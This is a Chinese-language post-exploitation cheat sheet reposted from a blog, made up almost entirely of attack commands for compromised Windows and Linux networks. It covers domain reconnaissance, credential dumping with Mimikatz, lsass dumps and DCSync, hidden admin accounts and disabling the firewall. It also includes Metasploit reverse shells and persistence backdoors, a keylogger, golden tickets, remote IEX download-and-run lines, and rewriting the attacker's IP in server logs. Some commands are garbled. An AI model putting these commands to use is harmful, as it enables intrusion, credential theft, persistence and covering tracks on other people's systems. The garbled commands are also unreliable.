转载:https://www.cnblogs.com/-mo-/p/12358812.html

0x01 信息搜集

nmap扫描实时存活的ip

  1. nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips

1.1 常用命令

  1. ipconfig /all #查看当前是否存在域
  2. #机器名
  3. hostname
  4. echo %COMPUTERNAME%
  5. echo %logonserver% #查看登陆域
  6. systeminfo #查看系统信息
  7. systeminfo | find /i "domain" #查看机器在哪个域
  8. systeminfo | find /i "KB" #查看系统安装的补丁
  9. #获取arp表
  10. arp -a
  11. route print
  12. netstat -r #查看路由
  13. tracert #路由跟踪实用程序,用于确定IP数据包访问目标所采取的路径
  14. curl vps:8080 #http连通性
  15. nslookup www.baidu.com vps-ip
  16. dig @vps-ip www.baidu.com #测试dns连通性
  17. nslookup hacked.com #判断域控与DNS是否为同一主机
  18. sc query state= all #查询系统的服务信息
  19. set #查看系统的环境变量
  20. rdesktop -u username ip #linux连接win远程桌面
  21. where file #win查找文件是否存在
  22. Linux下使用命令 find -name *.jsp #来查找文件位置
  23. Windows下使用 for /r c:\windows\temp\ %i in (file lsss.dmp) do @echo %i
  24. dir /s *.exe #查找指定目录下及子目录下没隐藏文件
  25. cmdkey /l #查看保存登陆凭证
  26. spn l administrator #spn记录
  27. schtasks /query /fo LIST /v #查看计划任务
  28. #远程下载文件
  29. bitsadmin /transfer n http://192.168.3.1/test.exe C:\windows\temp\test.exe
  30. certutil.exe -urlcache -split -f http://192.168.3.1/test.exe file.exe
  31. whoami /all #查看Mandatory Label uac级别和sid号
  32. whoami /user && whoami /priv #检查当前shell权限
  33. fuser -nv tcp 80 #查看端口进程的pid
  34. netstat /ano #TCP/UDP网络连接状态信息
  35. netstat -p TCP -ano #DNS服务器可能开放了53端口(域控) 更新服务器可能开放了8530端口
  36. quser #查看在线用户
  37. query user || qwinsta #查看当前在线用户
  38. nltest /dsgetdc:域名 #查询域控主机名。 如 nltest /dclist:bk
  39. nltest /domain_trusts #可以列出域之间的信任关系
  40. nltest /dclist:xx #查看域控
  41. nltest /domain_trusts /all_trusts /v /server:192.168.52.2 #查找信任域
  42. nltest /dsgetdc:XXXX /server:192.168.52.2 #查找信任域所对应的IP
  43. net config workstation #当前登录域 - 计算机名 - 用户名
  44. net statistics workstation #查看主机开机时间
  45. net view #查看同一域内机器列表
  46. net view \\dc #查看dc域内共享文件
  47. net view \\ip #查看某IP共享
  48. net view \\GHQ #查看GHQ计算机的共享资源列表
  49. net view /domain #查看内网存在多个域
  50. net view /domain:xyz #查看xyz域中的机器列表
  51. net view & net group "domain computers" /domain #查看当前域计算机列表 第二个查的更多
  52. net group /domain #查看域里面的组
  53. net group "domain admins" /domain #获取域管理员列表
  54. net group "domain controllers" /domain #查看域控制器
  55. net group "domain computers" /domain #查看域机器
  56. net group domain admins username /add #在域控制器上执行这个可以讲用户加到域管理员组中。
  57. net localgroup administrators /domain #这个也是查域管,是升级为域控时,本地账户也成为域管
  58. net localgroup administrators #本机管理员
  59. net localgroup administrators workgroup\user001 /add #域用户添加到本机
  60. net localgroup administrators && whoami #查看当前是不是属于管理组
  61. net user #查看本机用户
  62. net user xxx #查看本机用户xxx信息
  63. net user /domain #查看域用户
  64. net user 域用户 /domain #获取某个域用户的详细信息
  65. net user /domain xxx 123456 #修改与用户密码,需要域管理员权限
  66. net user username /actives:yes /domain #启动一个被锁定的账号 要有域管权限
  67. net use \\192.168.1.5 Passw0rd! /user:admin #建立 ipc 连接
  68. net use \ip\c$ /delete #删除指定ip的共享链接
  69. net use x: /delete #删除共享的x盘。
  70. net use x: \192.168.23.8\C$ /user:"test\Administrator" "123" #将目标的C盘映射到本地成为X盘
  71. mstsc /admin #远程桌面登录到 console 会话解决 hash 无法抓出问题
  72. net time /domain #域服务器通常会作为时间服务器
  73. (1)找不到xxx域控制器:处于工作组,不存在域
  74. (2)发生错误,拒绝访问:存在域,不是域用户
  75. (3)查询成功:存在域,是域用户
  76. net time \\192.168.1.5 #查看目标当前时间,得到当前时间是 21:50:52
  77. net accounts /domain #获得域内账户的密码策略信息
  78. net accounts #查询本地账户的密码策略信息
  79. tasklist /v #查看进程
  80. tasklist /svc #显示每个进程中的服务信息
  81. tasklist /S ip /U domain\username /P /V #查看远程计算机tasklist
  82. #列出或者断开本地计算机与之连接的客户端的会话(需要管理权限)
  83. net session[//computername][/delete]
  84. 例子:net session //momaek /delete
  85. #查看当前共享
  86. net share
  87. wmic share get name,path,status
  88. #查看当前操作系统
  89. wmic OS get Caption,CSDVersion,OSArchitecture,version
  90. ver
  91. WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:list #查杀软
  92. wmic product get name,version #查看当前安装的程序
  93. wmic process list brief #查询进程信息
  94. wmic qfe list #查看补丁详情
  95. wmic process get caption, executablepath,commandline #查看进程并显示运行进程的命令语句
  96. wmic process where name=“WMIC.exe" call terminate #终止某个进程
  97. wmic os get name,servicepackmajorversion #提取操作系统的servicepack版本
  98. wmic product where name=“name” call uninstall /nointeractive #卸载名字为name的软件
  99. wmic share get /ALL #查看共享情况
  100. wmic nteventlog get path,filename, writeable #得到日志文件的位置
  101. dsquery server #查找目录中的 AD DC/LDS 实例
  102. dsquery user #查找目录中的用户
  103. dsquery computer #查询所有计算机名称windows 2003
  104. dsquery computer domainroot -limit 65535 && net group “domain computers” /domain #列出该域内所有机器名
  105. dsquery user domainroot -limit 65535 && net user /domain #列出该域内所有用户名
  106. dsquery subnet #列出该域内网段划分
  107. dsquery group && net group /domain #列出该域内分组
  108. dsquery ou #列出该域内组织单位
  109. dsquery server && net time /domain #列出该域内域控制器
  110. copy add.bat \\192.168.1.5\c$\wmpub #复制 add.bat 到目标 C 盘 wmpub 目录
  111. add.bat 里面的内容是 net userTwi1ight Passw0rd! /add #添加 Twi1ight 用户
  112. at \\192.168.1.5 21:52 c:\wmpub\add.bat #告诉目标在21:52的时候运行c:\wmpub\add.bat
  113. at \\192.168.1.5 #查看目标的计划任务列表
  114. Linux命令:
  115. netstat -anpt #查看端口状态
  116. ps -ef #查看进程状态
  117. cat /root/.bash_history #查看管理员的历史输入命令(获取密码,网站目录,内网资产等信息)
  118. find / -name *.cfg #查找某个文件(寻找配置文件等)
  119. windows命令:
  120. taskmgr #任务管理器
  121. explorer #桌面进程
  122. gpedit.msc #组策略设置
  123. appwiz.cpl #添加与删除
  124. sysdm.cpl #系统属性页面可以配置环境变量
  125. tasklist /svc #查看当前的任务列表
  126. taskkill /f /pid 123 #强制终止pid为123的任务
  127. gpedit.msc #打开本地组策略管理
  128. eventvwr #打开日子页面
  129. services.msc #打开服务页面
  130. gpupdate /force #强制同步组策略
  131. runas /user:administrator(用户名) cmd.exe(应用程序的名字)#cmd切换用户
  132. systeminfo | find /i “kB” #查看系统补丁
  133. REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获得远程端口
  134. klist #检验缓存票据
  135. klist purge #删除所有票据

1.2 脚本收集域信息

使用ntdsxtract提取域信息

  1. #脚本收集域信息,使用ntdsxtract提取域信息
  2. git clone https://github.com/csababarta/ntdsxtract.git python setup.py build && python setup.py install
  1. #使用被攻击主机CMD扫描存活ip
  2. for /L %P in (1,1,254) DO @ping w 1 n 1 192.168.1.%P | findstr "TTL ="

1.3 文件信息搜集

ExifTool可读写及处理图像、视频及音频,例如Exif、IPTC、XMP、JFIF、GeoTIFF、ICC Profile。包括许多相机的制造商信息读取,如佳能,卡西欧,大疆,FLIR,三星等。

  1. exiftool lang zhcn a u g1 ./55e736d12f2eb9385716e 513d8628535e4dd6fdc.jpg

Micropoor:”目标资产信息搜集的程度,决定渗透过程的复杂程度。目标主机信息搜集的深度,决定后渗透权限持续把控。渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。”

  1. #Msf持续后门
  2. run persistence -U -i 10 -p 10390 -r 192.168.0.108
  3. #persistence启动项后门:反弹时间间隔是10s 端口是10390 Metasploit服务器ip是192.168.0.108
  4. run metsvc A
  5. #metsvc服务后门:在C:\Users***\AppData\Local\Temp\上传三个文件:metsrv.x86.dll、metsvc-server.exe、metsvc.exe,通过服务启动,服务名为meterpreter

1.4 密码凭证获取

Mimikatz使用大全

  1. //导出目标主机中的口令哈希值
  2. hashdump
  3. //加载mimikatz模块
  4. load mimikatz
  5. //获取登录密码的hash值
  6. msv
  7. ssp
  8. tspkg
  9. wdigest
  10. //获取明文密码
  11. kerberos
  12. //另一种方式获取哈希值
  13. mimikatz_command -f samdump::hashes
  14. //另一种方式获取明文密码
  15. mimikatz_command -f sekurlsa::searchPasswords
  1. //Msf启用powershell
  2. meterpreter > load powershell
  3. meterpreter > powershell_shell
  4. PS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
  5. Ps > Invoke-Mimikatz -DumpCreds

提取 KRBTGT用户帐户的密码数据:

  1. Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"exit

管理员用户帐户提取密码数据:

  1. Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit

发现远程登录密码等密码 netpass.exe
下载https://www.nirsoft.net/utils/network_password_recovery.html

获取window vpn密码:

  1. mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit

wifi密码:

  1. netsh wlan show profile 查处wifi名下一条命令用
  2. netsh wlan show profile WiFi-name key=clear

ie代理

  1. reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v ProxyServer
  2. reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"

pac代理

  1. reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v AutoConfigURL //引 t0stmail

1.5 用户操作

  1. # 添加user
  2. net user admin1 admin1 /add & net localgroup administrators admin1 /add
  1. # 如果不允许远程连接,修改注册表
  2. REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
  3. REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
  1. # 如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则,允许3389端口,命令如下:
  2. netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
  3. # 关闭防火墙
  4. netsh firewall set opmode mode=disable
  5. netsh advfirewall set allprofiles state off
  1. # 自动收集信息
  2. 1.VMIC
  3. vmicWindows管理工具命令行,默认情况下,win xp不允许低权限用户使用wmicwin7以上方才可以
  4. [http://www.fuzzysecurity.com/scripts/files/wmic_info.rar](http://www.fuzzysecurity.com/scripts/files/wmic_info.rar)
  5. 2.Empire
  6. #可查询本机用户、域组成员、密码设置时间
  7. usemodule situational_awareness/host/winenum
  1. # 添加隐藏账户 开启sys权限cmd
  2. IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess 'cmd.exe' -Username 'nt authority\system'
  3. # 添加用户并隐藏
  4. IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1')

0x02 提权小结

2.1常用exp:

  1. https://github.com/SecWiki/windows-kernel-exploits
  2. https://github.com/WindowsExploits/Exploits
  3. https://github.com/AusJock/Privilege-Escalation
  4. linux提权辅助脚本
  5. https://github.com/jondonas/linux-exploit-suggester-2
  6. windows提权辅助脚本
  7. https://github.com/Ethancck/Windows-Exploit-Suggester

2.2 Msf相关

linux相关payload:

  1. linux/x86/meterpreter/reverse_tcp
  2. linux/x86/meterpreter/bind_tcp
  3. linux/x86/shell_bind_tcp
  4. linux/x86/shell_reverse_tcp
  5. linux/x64/shell/bind_tcp
  6. linux/x64/shell/reverse_tcp
  7. linux/x64/shell_bind_tcp
  8. linux/x64/shell_bind_tcp_random_port
  9. linux/x64/shell_reverse_tcp

windows相关payload:

  1. windows/meterpreter/reverse_tcp
  2. windows/meterpreter/bind_tcp
  3. windows/meterpreter/reverse_hop_http
  4. windows/meterpreter/reverse_http
  5. windows/meterpreter/reverse_http_proxy_pstore
  6. windows/meterpreter/reverse_https
  7. windows/meterpreter/reverse_https_proxy
  8. windows/shell_reverse_tcp
  9. windows/shell_bind_tcp
  10. windows/x64/meterpreter/reverse_tcp
  11. windows/x64/meterpreter/bind_tcp
  12. windows/x64/shell_reverse_tcp
  13. windows/x64/shell_bind_tcp

目标服务器为64位用x64监听,反弹meterpreter用含有meterpreter的模块,反弹普通的shell(例如nc),shell_reverse_tcp模块监听
例如msf:

  1. 反弹shell msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
  2. 监听 windows/meterpreter/reverse_tcp
  3. 反弹shell nc -e cmd.exe ip port
  4. 监听 windows/shell_reverse_tcp

meterpreter下上传 upload file 下载 download file

2.2.1 Msf进程注入(win2008 成功)

  1. meterpreter > getuid
  2. Server username: xxxx
  3. meterpreter > getpid
  4. Current pid: 3456
  5. meterpreter > ps
  6. Process List
  7. ============
  8. PID PPID Name Arch Session User Path
  9. --- ---- ---- ---- ------- ---- ----
  10. 12000 676 shell.exe x86 2 xxx C:\Users\xxx\Desktop\shell.exe
  11. 676 1124 explorer.exe x64 2 xxx C:\Windows\explorer.exe
  12. meterpreter > migrate 676
  13. [*] Migrating from 12000 to 676...
  14. [*] Migration completed successfully.

2.2.2 Msf hash

  1. meterpreter > run hashdump 需要sys权限 导出SAM
  2. meterpreter > run post/windows/gather/smart_hashdump 需要sys权限
  3. getsystem存在uac,用msf bypass,但特征明显 meterpreter > search bypassuac
  4. msf powerdump load mimikatz 不太好用

2.2.3 Msf的持续后门

Persistence: run persistence -h:用于创建启动项启动,会创建注册表,创建文件。(X86_Linux不支持此脚本)

  1. run persistence -U -i 10 -p 10390 -r free.ngrok.cc

使用powershell执行也被监控而被360拦截
meterpreter 的 run getgui -e 命令可以开启成 功。360会提示阻止
Run metsvc -h :用于创建服务,会创建meterpreter服务,并上传三个文件,使用-r参数可以卸载服务 ,被拦

2.2.4 Msf powershell

  1. meterpreter > load powershell
  2. meterpreter > powershell_shell
  3. PS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
  4. Ps > Invoke-Mimikatz -DumpCreds

2.2.5 Msf Router

2个或多个路由之间,没有配置相应的路由表,不能访问,获得一台机器shell session 添加路由,使msf可以在当前shell session下以被攻击机访问其他内网主机.

  1. meterpreter > run get_local_subnets
  2. [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
  3. [!] Example: run post/multi/manage/autoroute OPTION=value [...]
  4. Local subnet: 172.17.0.0/255.255.0.0
  5. meterpreter > run autoroute -s 172.17.0.0/16 添加路由
  6. meterpreter > run autoroute -p 查看路由
  7. meterpreter > run autoroute -d -s 172.17.0.0/16 删除

2.2.6 键盘记录

Msf键盘记录在windows不会创建新进程

  1. meterpreter > keyscan_start meterpreter > keyscan_dump meterpreter > keyscan_stop

2.2.7 Payload下载(windows)

自windows7 以上版本内置bitsadmin,它可以在网络不稳定的状态下下载文件,出错会自 动重试,在比较复杂的网络环境下,有着不错的性能。

  1. bitsadmin /rawreturn /transfer down "[http://vps/hello.php](http://vps/hello.php)" G:\text\hello.php

2.2.8 mimikatz 和procdump 获得内存 hash

如果服务器是64位,要把Mimikatz进程迁移到一个64位的程序进程中,才能查看64位系统密码明文。32位任意
运行procdump.exe -accepteula -ma lsass.exe lsass.dmp(管理权限)后lsass.dmp放到mimikatz.exe同目录,运行以下命令

  1. mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"

导出当前 内存 hash,需要免杀过av等

  1. mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
  2. powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

Windows Server 2012,部分Windows Server 2008默认无法使用mimikatz导出明文口令

2.2.9 黄金票据(维持权限)

域用户sid

  1. whoami /all

krbtgt hash

  1. mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"

域管 net group "domain admins" /domain 这里的是administrator

  1. mimikatz "kerberos::purge""kerberos::golden /admin:administrator /domain:xx.com /sid:S-1-5-..... /krbtgt:hash /ticket:Adminstrator.kiribi""kerberos::ptt Administrator.kiribi""kerberos::tgt"

0x03 痕迹擦除

在渗透中,想要不留痕迹的(当然这是很难的),就要对自己的留下的痕迹进行擦除,这里以Lniux为例。

3.1 Apache日志

Apache主要的日志就是access.log,error_log,前者记录了HTTTP的访问记录,后者记录了服务器的错误日志。这些都可以在httpd.conf中找到。
明文的Apache文件,通过正则表达式就可以搞定:

  1. sed i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.logsed i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log

其中192.168.1.3是我们的IP,192.168.1.4使我们伪造的IP。在正则表达式中有特殊的含义,所以需要用“”来进行转义。

3.2 MySQL日志文件

  1. log-error=/var/log/mysql/mysql_error.log #错误日志
  2. log=/var/log/mysql/mysql.log#最好注释掉,会产生大量的日志,包括每一个执行的sql及环境变量的改变等等
  3. log-bin=/var/log/mysql/mysql_bin.log # 用于备份恢复,或主从复制.这里不涉及。
  4. log-slow-queries=/var/log/mysql/mysql_slow.log #慢查询日志
  5. log-error=/var/log/mysql/mysqld.log
  6. pid-file=/var/run/mysqld/mysqld.pid

执行下述命令清除即可

  1. sed i 's/192.168.1.3/192.168.1.4/g'/var/log/mysql/mysql_slow.log

至于二进制日志文件,需要登录mysql client来修改删除,建议这种操作最先执行。

3.3 php日志修改

  1. sed i 's/192.168.1.3/192.168.1.4/g'/var/log/apache/php_error.log

3.4 Linux日志清除

这个比较多,记录的也比较复杂,测试环境是CentOS 6.3。只把和渗透有关的文件列出来,主要在/etc/logrotate.d/syslog中

  1. /var/log/maillog,该日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动,它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统
  2. var/log/messages,该文件的格式是每一行包含日期、主机名、程序名,后面是包含PID或内核标识的方括号,一个冒号和一个空格
  3. /var/log/wtmp,该日志文件永久记录每个用户登录、注销及系统的启动,停机的事件。该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息,并以反序从后向前显示用户的登录记录,last也能根据用户,终端tty或时间显示相应的记录
  4. /var/run/utmp,该日志文件记录有关当前登录的每个用户的信息,因此这个文件会随着用户登录和注销系统而不断变化,它只保留当时联机的用户记录,不会为用户保留永久的记录。系统中需要查询当前用户状态的程序,如whowusersfinger等就需要访问这个文件
  5. /var/log/xferlog,该日志文件记录FTP会话,可以显示出用户向FTP服务器或从服务器拷贝了什么文件。该文件会显示用户拷贝到服务器上的用来入侵服务器的恶意程序,以及该用户拷贝了哪些文件供他使用。
  6. bash_history,这是bash终端的命令记录,能够记录1000条最近执行过的命令(具体多少条可以配置),通过这个文件可以分析此前执行的命令来知道知否有入侵者,每一个用户的home目录里都有这么一个文件

安利的脚本:https://github.com/JonGates/jon